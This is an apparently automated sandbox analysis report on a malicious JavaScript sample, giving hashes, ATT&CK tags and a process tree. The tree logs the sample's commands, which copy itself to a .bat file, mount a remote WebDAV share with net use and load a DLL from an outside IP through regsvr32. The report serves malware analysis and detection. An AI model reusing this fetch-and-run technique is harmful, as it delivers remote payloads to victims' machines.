8fbd326920ec4a1d895138208895b5230c5c9b2d9bebcb96c503ca7a9c427098

Analysis

max time kernel
118s
max time network
120s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 01:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

8fbd326920ec4a1d895138208895b5230c5c9b2d9bebcb96c503ca7a9c427098.js
Size

5KB
MD5

6330fca508c7a33be8dc3ac38c731b9e
SHA1

afed006158a79ae892d236f97e218d538e570611
SHA256

8fbd326920ec4a1d895138208895b5230c5c9b2d9bebcb96c503ca7a9c427098
SHA512

f61c3bc9f0cef0d098479f58f084e69dde16992bbe50e51562711bc03640827196f806c0f5d67964aa06ea22a527035514c3208135a3b159a63c5ee7810673c4
SSDEEP

96:71gB3MMCDVC2Iuu0k9khIuu0kzDCDP2YInX2wxkaQNxlx0AHD9DlGdD9DydD1ok4:71q3ZCDVC2Iuu0k9khIuu0kzDCDP2znD

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1012	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2348 wrote to memory of 888	2348	wscript.exe	32
PID 2348 wrote to memory of 888	2348	wscript.exe	32
PID 2348 wrote to memory of 888	2348	wscript.exe	32
PID 888 wrote to memory of 2676	888	cmd.exe	34
PID 888 wrote to memory of 2676	888	cmd.exe	34
PID 888 wrote to memory of 2676	888	cmd.exe	34
PID 888 wrote to memory of 1012	888	cmd.exe	35
PID 888 wrote to memory of 1012	888	cmd.exe	35
PID 888 wrote to memory of 1012	888	cmd.exe	35
PID 888 wrote to memory of 1012	888	cmd.exe	35
PID 888 wrote to memory of 1012	888	cmd.exe	35

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\8fbd326920ec4a1d895138208895b5230c5c9b2d9bebcb96c503ca7a9c427098.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\8fbd326920ec4a1d895138208895b5230c5c9b2d9bebcb96c503ca7a9c427098.js" "C:\Users\Admin\\ehwzwk.bat" && "C:\Users\Admin\\ehwzwk.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:888
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2676
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\177.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\ehwzwk.bat

Filesize
5KB

MD5
6330fca508c7a33be8dc3ac38c731b9e

SHA1
afed006158a79ae892d236f97e218d538e570611

SHA256
8fbd326920ec4a1d895138208895b5230c5c9b2d9bebcb96c503ca7a9c427098

SHA512
f61c3bc9f0cef0d098479f58f084e69dde16992bbe50e51562711bc03640827196f806c0f5d67964aa06ea22a527035514c3208135a3b159a63c5ee7810673c4

Download Submit